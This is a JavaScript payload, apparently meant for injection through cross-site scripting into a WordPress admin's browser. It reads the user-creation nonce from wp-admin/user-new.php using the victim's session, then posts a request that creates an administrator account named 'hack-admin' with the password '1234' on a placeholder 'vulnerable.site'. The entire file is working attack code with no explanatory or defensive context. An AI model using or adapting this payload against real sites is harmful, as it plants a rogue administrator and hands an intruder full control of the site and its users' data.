function getCSRFToken(url, csrf_token_id, func){
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = function(){
	if(this.readyState == 4 && this.status == 200){
		var parser = new DOMParser();
		var htmlDocument = parser.parseFromString(this.responseText, "text/html");
		var token = htmlDocument.getElementById(csrf_token_id).value;
		func(token);
		}

	};
	xhr.open("GET", url, true);
	xhr.withCredentials = true;
	xhr.send();

}

function addAdmin(token){
	var xhr = new XMLHttpRequest();
	xhr.open("POST","http://vulnerable.site/wp-admin/user-new.php", true);
	xhr.withCredentials = true;
	xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	xhr.send("action=createuser&_wpnonce_create-user=" + token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=hack-admin&[email protected]&first_name=&last_name=&url=&pass1=1234&pass2=1234&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User");
}

getCSRFToken("http://vulnerable.site/wp-admin/user-new.php", "_wpnonce_create-user", addAdmin);